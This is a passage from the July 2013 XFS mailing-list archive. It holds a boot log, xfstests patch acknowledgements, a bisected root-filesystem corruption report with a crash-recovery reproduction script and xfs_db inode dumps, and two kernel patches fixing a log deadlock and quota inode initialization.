or FUA [ 0.987918] ata3.00: configured for UDMA/133 [ 0.988012] scsi 2:0:0:0: Direct-Access ATA OCZ VERTEX-TURBO 1.7 PQ: 0 ANSI: 5 [ 0.988091] sd 2:0:0:0: Attached scsi generic sg1 type 0 [ 0.988108] sd 2:0:0:0: [sdb] 62533296 512-byte logical blocks: (32.0 GB/29.8 GiB) [ 0.988269] sd 2:0:0:0: [sdb] Write Protect is off [ 0.988274] sd 2:0:0:0: [sdb] Mode Sense: 00 3a 00 00 [ 0.988319] sd 2:0:0:0: [sdb] Write cache: enabled, read cache: enabled, doesn't support DPO or FUA [ 0.989292] scsi 6:0:0:0: CD-ROM HL-DT-ST DVD-RAM GH22NP20 1.03 PQ: 0 ANSI: 5 [ 0.990975] sdb: sdb1 sdb2 [ 0.991322] sd 2:0:0:0: [sdb] Attached SCSI disk [ 0.991617] sr0: scsi3-mmc drive: 48x/48x writer dvd-ram cd/rw xa/form2 cdda tray [ 0.991619] cdrom: Uniform CD-ROM driver Revision: 3.20 [ 0.991671] sr 6:0:0:0: Attached scsi CD-ROM sr0 [ 0.991739] sr 6:0:0:0: Attached scsi generic sg2 type 5 [ 1.004419] sda: unknown partition table [ 1.004657] sd 1:0:0:0: [sda] Attached SCSI disk [ 1.016348] hub 7-0:1.0: USB hub found [ 1.016352] hub 7-0:1.0: 2 ports detected [ 1.016404] usbcore: registered new interface driver usblp [ 1.016421] usbcore: registered new interface driver usb-storage [ 1.016443] i8042: PNP: No PS/2 controller found. Probing ports directly. [ 1.016966] serio: i8042 KBD port at 0x60,0x64 irq 1 [ 1.016970] serio: i8042 AUX port at 0x60,0x64 irq 12 [ 1.017031] mousedev: PS/2 mouse device common for all mice [ 1.017063] rtc_cmos 00:02: RTC can wake from S4 [ 1.017156] rtc_cmos 00:02: rtc core: registered rtc_cmos as rtc0 [ 1.017178] rtc_cmos 00:02: alarms up to one month, y3k, 114 bytes nvram, hpet irqs [ 1.017183] i2c /dev entries driver [ 1.017413] AMD64 EDAC driver v3.4.0 [ 1.017422] EDAC amd64: DRAM ECC enabled. [ 1.017443] EDAC amd64: F10h detected (node 0). [ 1.017453] EDAC MC: DCT0 chip selects: [ 1.017454] EDAC amd64: MC: 0: 1024MB 1: 1024MB [ 1.017455] EDAC amd64: MC: 2: 1024MB 3: 1024MB [ 1.017456] EDAC amd64: MC: 4: 0MB 5: 0MB [ 1.017456] EDAC amd64: MC: 6: 0MB 7: 0MB [ 1.017457] EDAC MC: DCT1 chip selects: [ 1.017458] EDAC amd64: MC: 0: 1024MB 1: 1024MB [ 1.017458] EDAC amd64: MC: 2: 1024MB 3: 1024MB [ 1.017459] EDAC amd64: MC: 4: 0MB 5: 0MB [ 1.017459] EDAC amd64: MC: 6: 0MB 7: 0MB [ 1.017460] EDAC amd64: using x4 syndromes. [ 1.017461] EDAC amd64: MCT channel count: 2 [ 1.017474] EDAC amd64: CS0: Unbuffered DDR3 RAM [ 1.017475] EDAC amd64: CS1: Unbuffered DDR3 RAM [ 1.017475] EDAC amd64: CS2: Unbuffered DDR3 RAM [ 1.017476] EDAC amd64: CS3: Unbuffered DDR3 RAM [ 1.017565] EDAC MC0: Giving out device to 'amd64_edac' 'F10h': DEV 0000:00:18.2 [ 1.017576] EDAC PCI0: Giving out device to module 'amd64_edac' controller 'EDAC PCI controller': DEV '0000:00:18.2' (POLLED) [ 1.017579] cpuidle: using governor ladder [ 1.017579] cpuidle: using governor menu [ 1.017586] hidraw: raw HID events driver (C) Jiri Kosina [ 1.017604] usbcore: registered new interface driver usbhid [ 1.017605] usbhid: USB HID core driver [ 1.033112] snd_hda_intel 0000:01:05.1: setting latency timer to 64 [ 1.036076] usbcore: registered new interface driver snd-usb-audio [ 1.036087] Netfilter messages via NETLINK v0.30. [ 1.036103] nf_conntrack version 0.5.0 (16384 buckets, 65536 max) [ 1.036170] ctnetlink v0.93: registering with nfnetlink. [ 1.036455] ip_tables: (C) 2000-2006 Netfilter Core Team [ 1.036505] TCP: cubic registered [ 1.036507] NET: Registered protocol family 17 [ 1.036517] 9pnet: Installing 9P2000 support [ 1.036715] registered taskstats version 1 [ 1.037059] rtc_cmos 00:02: setting system clock to 2013-07-19 17:51:55 UTC (1374256315) [ 1.037092] acpi-cpufreq: overriding BIOS provided _PSD data [ 1.037531] ALSA device list: [ 1.037532] #0: HDA ATI SB at 0xfbcf4000 irq 16 [ 1.037532] #1: HDA ATI HDMI at 0xfbefc000 irq 19 [ 1.095857] XFS (sdb2): Mounting Filesystem [ 1.138144] XFS (sdb2): Ending clean mount [ 1.138172] VFS: Mounted root (xfs filesystem) readonly on device 8:18. [ 1.142877] devtmpfs: mounted [ 1.144968] Freeing unused kernel memory: 688K (ffffffff81a6e000 - ffffffff81b1a000) [ 1.144971] Write protecting the kernel read-only data: 10240k [ 1.148692] Freeing unused kernel memory: 484K (ffff880001587000 - ffff880001600000) [ 1.161654] Freeing unused kernel memory: 2028K (ffff880001805000 - ffff880001a00000) [ 1.559092] tsc: Refined TSC clocksource calibration: 3210.827 MHz [ 1.621229] XFS (sda): Mounting Filesystem [ 1.722500] usb 4-2: new full-speed USB device number 2 using ohci-pci [ 1.908899] logitech-djreceiver 0003:046D:C52B.0003: hiddev0,hidraw0: USB HID v1.11 Device [Logitech USB Receiver] on usb-0000:00:12.1-2/input2 [ 1.913493] input: Logitech Unifying Device. Wireless PID:4026 as /devices/pci0000:00/0000:00:12.1/usb4/4-2/4-2:1.2/0003:046D:C52B.0003/input/input0 [ 1.913717] logitech-djdevice 0003:046D:C52B.0004: input,hidraw1: USB HID v1.11 Keyboard [Logitech Unifying Device. Wireless PID:4026] on usb-0000:00:12.1-2:1 [ 2.039242] usb 3-1: new low-speed USB device number 2 using ohci-pci [ 2.063203] XFS (sda): Ending clean mount [ 2.200891] input: HID 046a:0011 as /devices/pci0000:00/0000:00:12.0/usb3/3-1/3-1:1.0/input/input1 [ 2.201061] hid-generic 0003:046A:0011.0005: input,hidraw2: USB HID v1.10 Keyboard [HID 046a:0011] on usb-0000:00:12.0-1/input0 [ 2.373959] udevd[97]: starting eudev version 1.0 [ 2.559376] Switched to clocksource tsc [ 2.790907] ATL1E 0000:02:00.0 eth0: NIC Link is Up <1000 Mbps Full Duplex> [ 4.379267] Adding 3071996k swap on /var/cache/swapfile.img. Priority:-1 extents:2 across:8430928k -- Markus From bpm@sgi.com Fri Jul 19 15:38:41 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 0204B7F4E for ; Fri, 19 Jul 2013 15:38:41 -0500 (CDT) Received: from whiskey.americas.sgi.com (whiskey.americas.sgi.com [128.162.233.19]) by relay1.corp.sgi.com (Postfix) with ESMTP id DF6F48F804B; Fri, 19 Jul 2013 13:38:37 -0700 (PDT) Received: by whiskey.americas.sgi.com (Postfix, from userid 4600) id 7305C4266DC; Fri, 19 Jul 2013 15:38:37 -0500 (CDT) Date: Fri, 19 Jul 2013 15:38:37 -0500 From: Ben Myers To: Josef Bacik Cc: xfs@oss.sgi.com, linxu-btrfs@vger.kernel.org Subject: Re: [PATCH] xfstests: exit out if _scratch_mount fails Message-ID: <20130719203837.GJ3572@sgi.com> References: <1373396847-7975-1-git-send-email-jbacik@fusionio.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1373396847-7975-1-git-send-email-jbacik@fusionio.com> User-Agent: Mutt/1.5.20 (2009-06-14) On Tue, Jul 09, 2013 at 03:07:27PM -0400, Josef Bacik wrote: > I test some of the different mkfs options for btrfs, one set doesn't work > properly with small file systems, so the fs won't mount. This is fine from a > btrfs point of view, but tests that fail to mount the scratch fs will run > anyway, so if it's a "fill the fs" sort of test this will wreak havoc. To fix > this just error out of _scratch_mount fails. Thanks, > > Signed-off-by: Josef Bacik Reviewed-by: Ben Myers Applied. From bpm@sgi.com Fri Jul 19 15:50:49 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 648CD7F4E for ; Fri, 19 Jul 2013 15:50:49 -0500 (CDT) Received: from whiskey.americas.sgi.com (whiskey.americas.sgi.com [128.162.233.19]) by relay3.corp.sgi.com (Postfix) with ESMTP id 9CFD4AC001; Fri, 19 Jul 2013 13:50:48 -0700 (PDT) Received: by whiskey.americas.sgi.com (Postfix, from userid 4600) id 4F7C34266DC; Fri, 19 Jul 2013 15:50:48 -0500 (CDT) Date: Fri, 19 Jul 2013 15:50:48 -0500 From: Ben Myers To: David Sterba Cc: xfs@oss.sgi.com Subject: Re: [PATCH] xfstests: skip generic/192 if noatime is set Message-ID: <20130719205048.GK3572@sgi.com> References: <1372860005-1016-1-git-send-email-dsterba@suse.cz> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1372860005-1016-1-git-send-email-dsterba@suse.cz> User-Agent: Mutt/1.5.20 (2009-06-14) On Wed, Jul 03, 2013 at 04:00:05PM +0200, David Sterba wrote: > Test generic/192 fails if noatime is set > > generic/192 > -delta1 - access time after sleep in-core: 40 > -delta2 - access time after sleep on-disk: 40 > +delta1 - access time after sleep in-core: 0 > +delta2 - access time after sleep on-disk: 0 > > but it's pointless to test atime effects with noatime. > > Signed-off-by: David Sterba Looks fine. Reviewed-by: Ben Myers Applied. Thanks David. -Ben From bpm@sgi.com Fri Jul 19 16:00:56 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id A7CDB7F4E for ; Fri, 19 Jul 2013 16:00:56 -0500 (CDT) Received: from whiskey.americas.sgi.com (whiskey.americas.sgi.com [128.162.233.19]) by relay1.corp.sgi.com (Postfix) with ESMTP id 7A8C08F8049; Fri, 19 Jul 2013 14:00:56 -0700 (PDT) Received: by whiskey.americas.sgi.com (Postfix, from userid 4600) id 5E0654266DC; Fri, 19 Jul 2013 16:00:56 -0500 (CDT) Date: Fri, 19 Jul 2013 16:00:56 -0500 From: Ben Myers To: Jeff Liu Cc: "xfs@oss.sgi.com" Subject: Re: [PATCH] xfstests: clean up remake related matters from README Message-ID: <20130719210056.GL3572@sgi.com> References: <51D15BDF.9000805@oracle.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <51D15BDF.9000805@oracle.com> User-Agent: Mutt/1.5.20 (2009-06-14) On Mon, Jul 01, 2013 at 06:37:19PM +0800, Jeff Liu wrote: > From: Jie Liu > > Cleanup 'remake' related matters from the README file as the > remake utility has already been removed by: > > commit 609d17c4eb911891fae3c0081c2cd1caa613c0de > > xfstests: remove remake script > > Signed-off-by: Jie Liu Reviewed-by: Ben Myers Applied. From tinguely@sgi.com Fri Jul 19 16:11:32 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 1C45B7F4E for ; Fri, 19 Jul 2013 16:11:32 -0500 (CDT) Received: from eagdhcp-232-140.americas.sgi.com (eagdhcp-232-140.americas.sgi.com [128.162.232.140]) by relay1.corp.sgi.com (Postfix) with ESMTP id B91718F804B; Fri, 19 Jul 2013 14:11:28 -0700 (PDT) Message-ID: <51E9AB80.4000700@sgi.com> Date: Fri, 19 Jul 2013 16:11:28 -0500 From: Mark Tinguely User-Agent: Mozilla/5.0 (X11; FreeBSD amd64; rv:9.0) Gecko/20120122 Thunderbird/9.0 MIME-Version: 1.0 To: Markus Trippelsdorf CC: Dave Chinner , Ben Myers , Stan Hoeppner , xfs@oss.sgi.com Subject: Re: [Bisected] Corruption of root fs during git bisect of drm system hang References: <20130713090523.GA362@x4> <20130712070721.GA359@x4> <20130715022841.GH5228@dastard> <20130715064734.GA361@x4> <20130719122235.GA360@x4> In-Reply-To: <20130719122235.GA360@x4> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit On 07/19/13 07:22, Markus Trippelsdorf wrote: > > I've bisected this issue to the following commit: > > commit cca9f93a52d2ead50b5da59ca83d5f469ee4be5f > Author: Dave Chinner > Date: Thu Jun 27 16:04:49 2013 +1000 > > xfs: don't do IO when creating an new inode > > Reverting this commit on top of the Linus tree "solves" all problems for > me. IOW I no longer loose my KDE and LibreOffice config files during a > crash. Log recovery now works fine and xfs_repair shows no issues. > > So users of 3.11.0-rc1 beware. Only run this version if you have > up-to-date backups handy. > I reviewed the above patch and liked it but, I think I recreated the above mentioned problem with a simple script: cp /root/.bash_history /root/.lesshst /root/.pwclientrc /root/.viminfo /root/.bash_profile /root/.lesshst.YCJCDz /root/.quiltrc /somexfsdir sync echo 'c' > /proc/sysrq-trigger .... reboot, remount ... cd /somexfsdir # ls -la ls: cannot access .bash_history: No such file or directory ls: cannot access .lesshst: No such file or directory ls: cannot access .pwclientrc: No such file or directory ls: cannot access .viminfo: No such file or directory ls: cannot access .bash_profile: No such file or directory ls: cannot access .lesshst.YCJCDz: No such file or directory ls: cannot access .quiltrc: No such file or directory total 4 drwxr-xr-x 2 root root 131 Jul 19 15:32 . drwxr-xr-x 28 root root 4096 Jul 19 15:35 .. ?????????? ? ? ? ? ? .bash_history ?????????? ? ? ? ? ? .bash_profile ?????????? ? ? ? ? ? .lesshst ?????????? ? ? ? ? ? .lesshst.YCJCDz ?????????? ? ? ? ? ? .pwclientrc ?????????? ? ? ? ? ? .quiltrc ?????????? ? ? ? ? ? .viminfo # cat .bash_history cat: .bash_history: No such file or directory xfs_db> inode 131 xfs_db> p core.magic = 0x494e core.mode = 0 core.version = 2 core.format = 2 (extents) core.nlinkv2 = 0 core.onlink = 0 core.projid_lo = 0 core.projid_hi = 0 core.uid = 0 core.gid = 0 core.flushiter = 1 core.atime.sec = Fri Jul 19 15:26:13 2013 core.atime.nsec = 990813003 core.mtime.sec = Fri Jul 19 15:26:13 2013 core.mtime.nsec = 990813003 core.ctime.sec = Fri Jul 19 15:30:34 2013 core.ctime.nsec = 822788719 core.size = 0 core.nblocks = 0 core.extsize = 0 core.nextents = 0 core.naextents = 0 core.forkoff = 0 core.aformat = 2 (extents) core.dmevmask = 0 core.dmstate = 0 core.newrtbm = 0 core.prealloc = 0 core.realtime = 0 core.immutable = 0 core.append = 0 core.sync = 0 core.noatime = 0 core.nodump = 0 core.rtinherit = 0 core.projinherit = 0 core.nosymlinks = 0 core.extsz = 0 core.extszinherit = 0 core.nodefrag = 0 core.filestream = 0 core.gen = 3707503345 next_unlinked = null u = (empty) revert the above commit and the problem goes away. Output: The files are small files that I could find on the test box: -rw------- 1 root root 28158 Jul 19 15:47 .bash_history -rw-r--r-- 1 root root 43 Jul 19 15:47 .bash_profile -rw------- 1 root root 1046 Jul 19 15:47 .lesshst -rw------- 1 root root 919 Jul 19 15:47 .lesshst.YCJCDz -rw-r--r-- 1 root root 344 Jul 19 15:47 .pwclientrc -rw-r--r-- 1 root root 2502 Jul 19 15:47 .quiltrc -rw------- 1 root root 21895 Jul 19 15:47 .viminfo And they diff the same as the originals. core.magic = 0x494e core.mode = 0100600 core.version = 2 core.format = 2 (extents) core.nlinkv2 = 1 core.onlink = 0 core.projid_lo = 0 core.projid_hi = 0 core.uid = 0 core.gid = 0 core.flushiter = 1 core.atime.sec = Fri Jul 19 15:56:04 2013 core.atime.nsec = 954825196 core.mtime.sec = Fri Jul 19 15:47:18 2013 core.mtime.nsec = 366686434 core.ctime.sec = Fri Jul 19 15:47:18 2013 core.ctime.nsec = 366686434 core.size = 28158 core.nblocks = 7 core.extsize = 0 core.nextents = 1 core.naextents = 0 core.forkoff = 0 core.aformat = 2 (extents) core.dmevmask = 0 core.dmstate = 0 core.newrtbm = 0 core.prealloc = 0 core.realtime = 0 core.immutable = 0 core.append = 0 core.sync = 0 core.noatime = 0 core.nodump = 0 core.rtinherit = 0 core.projinherit = 0 core.nosymlinks = 0 core.extsz = 0 core.extszinherit = 0 core.nodefrag = 0 core.filestream = 0 core.gen = 0 next_unlinked = null u.bmx[0] = [startoff,startblock,blockcount,extentflag] 0:[0,12,7,0] From bpm@sgi.com Fri Jul 19 17:17:26 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 658F77F3F for ; Fri, 19 Jul 2013 17:17:26 -0500 (CDT) Received: from whiskey.americas.sgi.com (whiskey.americas.sgi.com [128.162.233.19]) by relay1.corp.sgi.com (Postfix) with ESMTP id 3DED48F8035; Fri, 19 Jul 2013 15:17:23 -0700 (PDT) Received: by whiskey.americas.sgi.com (Postfix, from userid 4600) id E52A94266DC; Fri, 19 Jul 2013 17:17:22 -0500 (CDT) Date: Fri, 19 Jul 2013 17:17:22 -0500 From: Ben Myers To: Jeff Liu Cc: "xfs@oss.sgi.com" Subject: Re: [PATCH] xfstests: generic/315, verify preallocated disk space is released per truncate Message-ID: <20130719221722.GA3111@sgi.com> References: <51D159FF.401@oracle.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <51D159FF.401@oracle.com> User-Agent: Mutt/1.5.20 (2009-06-14) On Mon, Jul 01, 2013 at 06:29:19PM +0800, Jeff Liu wrote: > From: Jie Liu > > Introduce generic test 315 to verify if the disk space is > released after truncating a preallocated file back to the > old smaller size. Before Linux-3.10, Btrfs/OCFS2 test > failed in this case. > > The test file is fallocated with FALLOC_FL_KEEP_SIZE option. > > Signed-off-by: Jie Liu Looks good. Reviewed-by: Ben Myers Applied. From sekharan@us.ibm.com Fri Jul 19 17:32:13 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id A79697F3F for ; Fri, 19 Jul 2013 17:32:13 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id 7644E8F8049 for ; Fri, 19 Jul 2013 15:32:13 -0700 (PDT) X-ASG-Debug-ID: 1374273131-04bdf0245c1d3c30001-NocioJ Received: from e37.co.us.ibm.com (e37.co.us.ibm.com [32.97.110.158]) by cuda.sgi.com with ESMTP id Pv2KeeDSb4lDSlr4 (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Fri, 19 Jul 2013 15:32:12 -0700 (PDT) X-Barracuda-Envelope-From: sekharan@us.ibm.com X-Barracuda-Apparent-Source-IP: 32.97.110.158 X-Barracuda-IPDD: Level2 [us.ibm.com/32.97.110.158] Received: from /spool/local by e37.co.us.ibm.com with IBM ESMTP SMTP Gateway: Authorized Use Only! Violators will be prosecuted for from ; Fri, 19 Jul 2013 16:31:41 -0600 X-Barracuda-IPDD: Level2 [us.ibm.com/32.97.110.158] X-Barracuda-IPDD: Level2 [us.ibm.com/32.97.110.158] X-Barracuda-IPDD: Level2 [us.ibm.com/32.97.110.158] X-Barracuda-IPDD: Level2 [us.ibm.com/32.97.110.158] Received: from d03dlp01.boulder.ibm.com (9.17.202.177) by e37.co.us.ibm.com (192.168.1.137) with IBM ESMTP SMTP Gateway: Authorized Use Only! Violators will be prosecuted; Fri, 19 Jul 2013 16:31:39 -0600 Received: from d03relay04.boulder.ibm.com (d03relay04.boulder.ibm.com [9.17.195.106]) by d03dlp01.boulder.ibm.com (Postfix) with ESMTP id 4F47B1FF001C for ; Fri, 19 Jul 2013 16:26:18 -0600 (MDT) Received: from d03av06.boulder.ibm.com (d03av06.boulder.ibm.com [9.17.195.245]) by d03relay04.boulder.ibm.com (8.13.8/8.13.8/NCO v10.0) with ESMTP id r6JMVceg380394 for ; Fri, 19 Jul 2013 16:31:38 -0600 Received: from d03av06.boulder.ibm.com (loopback [127.0.0.1]) by d03av06.boulder.ibm.com (8.14.4/8.13.1/NCO v10.0 AVout) with ESMTP id r6JMYGNE005592 for ; Fri, 19 Jul 2013 16:34:16 -0600 Received: from [9.41.106.170] (chandra-dt.austin.ibm.com [9.41.106.170]) by d03av06.boulder.ibm.com (8.14.4/8.13.1/NCO v10.0 AVin) with ESMTP id r6JMYFo8005585 for ; Fri, 19 Jul 2013 16:34:15 -0600 Subject: [PATCH] xfs: Fix a deadlock in xfs_log_commit_cil() code path From: Chandra Seetharaman X-ASG-Orig-Subj: [PATCH] xfs: Fix a deadlock in xfs_log_commit_cil() code path Reply-To: sekharan@us.ibm.com To: XFS mailing list Content-Type: text/plain; charset="UTF-8" Organization: IBM Date: Fri, 19 Jul 2013 17:31:38 -0500 Message-ID: <1374273098.8941.2075.camel@chandra-dt.ibm.com> Mime-Version: 1.0 X-Mailer: Evolution 2.28.3 (2.28.3-30.el6) Content-Transfer-Encoding: 7bit X-TM-AS-MML: No X-Content-Scanned: Fidelis XPS MAILER x-cbid: 13071922-7408-0000-0000-0000122E7671 X-Barracuda-Connect: e37.co.us.ibm.com[32.97.110.158] X-Barracuda-Start-Time: 1374273132 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 While testing and rearranging pquota/gquota code, I stumbled on a xfs_shutdown() during a mount. But the mount just hung. Debugged and found that there is a deadlock involving &log->l_cilp->xc_ctx_lock. It is in a code path where &log->l_cilp->xc_ctx_lock is first acquired in read mode and some levels down the same semaphore is being acquired in write mode causing a deadlock. This is the stack: xfs_log_commit_cil -> acquires &log->l_cilp->xc_ctx_lock in read mode xlog_print_tic_res xfs_force_shutdown xfs_log_force_umount xlog_cil_force xlog_cil_force_lsn xlog_cil_push_foreground xlog_cil_push - tries to acquire same semaphore in write mode This patch fixes the deadlock by changing the reason code for xfs_force_shutdown in xlog_print_tic_res() to SHUTDOWN_LOG_IO_ERROR. SHUTDOWN_LOG_IO_ERROR is the right reason code to be set since we are in the log path. Thanks to Dave for suggesting this solution. Signed-off-by: Chandra Seetharaman --- fs/xfs/xfs_log.c | 2 +- 1 files changed, 1 insertions(+), 1 deletions(-) diff --git a/fs/xfs/xfs_log.c b/fs/xfs/xfs_log.c index d852a2b..bf89eb9 100644 --- a/fs/xfs/xfs_log.c +++ b/fs/xfs/xfs_log.c @@ -1941,7 +1941,7 @@ xlog_print_tic_res( xfs_alert_tag(mp, XFS_PTAG_LOGRES, "xlog_write: reservation ran out. Need to up reservation"); - xfs_force_shutdown(mp, SHUTDOWN_CORRUPT_INCORE); + xfs_force_shutdown(mp, SHUTDOWN_LOG_IO_ERROR); } /* -- 1.7.1 From sekharan@us.ibm.com Fri Jul 19 17:33:14 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 0572A7F51 for ; Fri, 19 Jul 2013 17:33:14 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id 89908AC004 for ; Fri, 19 Jul 2013 15:33:10 -0700 (PDT) X-ASG-Debug-ID: 1374273188-04cbb0469011c45a0001-NocioJ Received: from e37.co.us.ibm.com (e37.co.us.ibm.com [32.97.110.158]) by cuda.sgi.com with ESMTP id ik5BS0buGYl3Izup (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Fri, 19 Jul 2013 15:33:08 -0700 (PDT) X-Barracuda-Envelope-From: sekharan@us.ibm.com X-Barracuda-Apparent-Source-IP: 32.97.110.158 X-Barracuda-IPDD: Level2 [us.ibm.com/32.97.110.158] Received: from /spool/local by e37.co.us.ibm.com with IBM ESMTP SMTP Gateway: Authorized Use Only! Violators will be prosecuted for from ; Fri, 19 Jul 2013 16:32:59 -0600 X-Barracuda-IPDD: Level2 [us.ibm.com/32.97.110.158] X-Barracuda-IPDD: Level2 [us.ibm.com/32.97.110.158] X-Barracuda-IPDD: Level2 [us.ibm.com/32.97.110.158] X-Barracuda-IPDD: Level2 [us.ibm.com/32.97.110.158] Received: from d03dlp02.boulder.ibm.com (9.17.202.178) by e37.co.us.ibm.com (192.168.1.137) with IBM ESMTP SMTP Gateway: Authorized Use Only! Violators will be prosecuted; Fri, 19 Jul 2013 16:32:57 -0600 Received: from d03relay02.boulder.ibm.com (d03relay02.boulder.ibm.com [9.17.195.227]) by d03dlp02.boulder.ibm.com (Postfix) with ESMTP id 2E1D43E40030 for ; Fri, 19 Jul 2013 16:32:35 -0600 (MDT) Received: from d03av05.boulder.ibm.com (d03av05.boulder.ibm.com [9.17.195.85]) by d03relay02.boulder.ibm.com (8.13.8/8.13.8/NCO v10.0) with ESMTP id r6JMWuVg161260 for ; Fri, 19 Jul 2013 16:32:56 -0600 Received: from d03av05.boulder.ibm.com (loopback [127.0.0.1]) by d03av05.boulder.ibm.com (8.14.4/8.13.1/NCO v10.0 AVout) with ESMTP id r6JMWuxS022586 for ; Fri, 19 Jul 2013 16:32:56 -0600 Received: from [9.41.106.170] (chandra-dt.austin.ibm.com [9.41.106.170]) by d03av05.boulder.ibm.com (8.14.4/8.13.1/NCO v10.0 AVin) with ESMTP id r6JMWuRW022579 for ; Fri, 19 Jul 2013 16:32:56 -0600 Subject: Subject: [PATCH v2] xfs: Initialize all quota inodes to be NULLFSINO From: Chandra Seetharaman X-ASG-Orig-Subj: Subject: [PATCH v2] xfs: Initialize all quota inodes to be NULLFSINO Reply-To: sekharan@us.ibm.com To: XFS mailing list Content-Type: text/plain; charset="UTF-8" Organization: IBM Date: Fri, 19 Jul 2013 17:32:55 -0500 Message-ID: <1374273175.8941.2079.camel@chandra-dt.ibm.com> Mime-Version: 1.0 X-Mailer: Evolution 2.28.3 (2.28.3-30.el6) Content-Transfer-Encoding: 7bit X-TM-AS-MML: No X-Content-Scanned: Fidelis XPS MAILER x-cbid: 13071922-7408-0000-0000-0000122E797A X-Barracuda-Connect: e37.co.us.ibm.com[32.97.110.158] X-Barracuda-Start-Time: 1374273188 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 Change from previous version: - Added the additional comments that Dave wanted. ------------- mkfs doesn't initialize the quota inodes to NULLFSINO as it does for the other internal inodes. This leads to two in-core values (0 and NULLFSINO) to be checked against, to make sure if a quota inode is valid. Solve that problem by initializing the in-core values of all quotaino values to NULLFSINO if they are 0 in the disk. Note that these values are not written back to on-disk superblock unless some quota is enabled on the filesystem. Even in that case sb_pquotino is written to disk only if the on-disk superblock supports pquotino Signed-off-by: Chandra Seetharaman --- fs/xfs/xfs_mount.c | 18 ++++++++++++++++++ 1 files changed, 18 insertions(+), 0 deletions(-) diff --git a/fs/xfs/xfs_mount.c b/fs/xfs/xfs_mount.c index 2b0ba35..7263e1b 100644 --- a/fs/xfs/xfs_mount.c +++ b/fs/xfs/xfs_mount.c @@ -572,6 +572,24 @@ out_unwind: static void xfs_sb_quota_from_disk(struct xfs_sb *sbp) { + /* + * older mkfs doesn't initialize quota inodes to NULLFSINO. This + * leads to in-core values having two different values for a quota + * inode to be invalid: 0 and NULLFSINO. Change it to a single value + * NULLFSINO. + * + * Note that this change affect only the in-core values. These + * values are not written back to disk unless any quota information + * is written to the disk. Even in that case, sb_pquotino field is + * not written to disk unless the superblock supports pquotino. + */ + if (sbp->sb_uquotino == 0) + sbp->sb_uquotino = NULLFSINO; + if (sbp->sb_gquotino == 0) + sbp->sb_gquotino = NULLFSINO; + if (sbp->sb_pquotino == 0) + sbp->sb_pquotino = NULLFSINO; + if (sbp->sb_qflags & XFS_OQUOTA_ENFD) sbp->sb_qflags |= (sbp->sb_qflags & XFS_PQUOTA_ACCT) ? XFS_PQUOTA_ENFD : XFS_GQUOTA_ENFD; -- 1.7.1 From sekharan@us.ibm.com Fri Jul 19 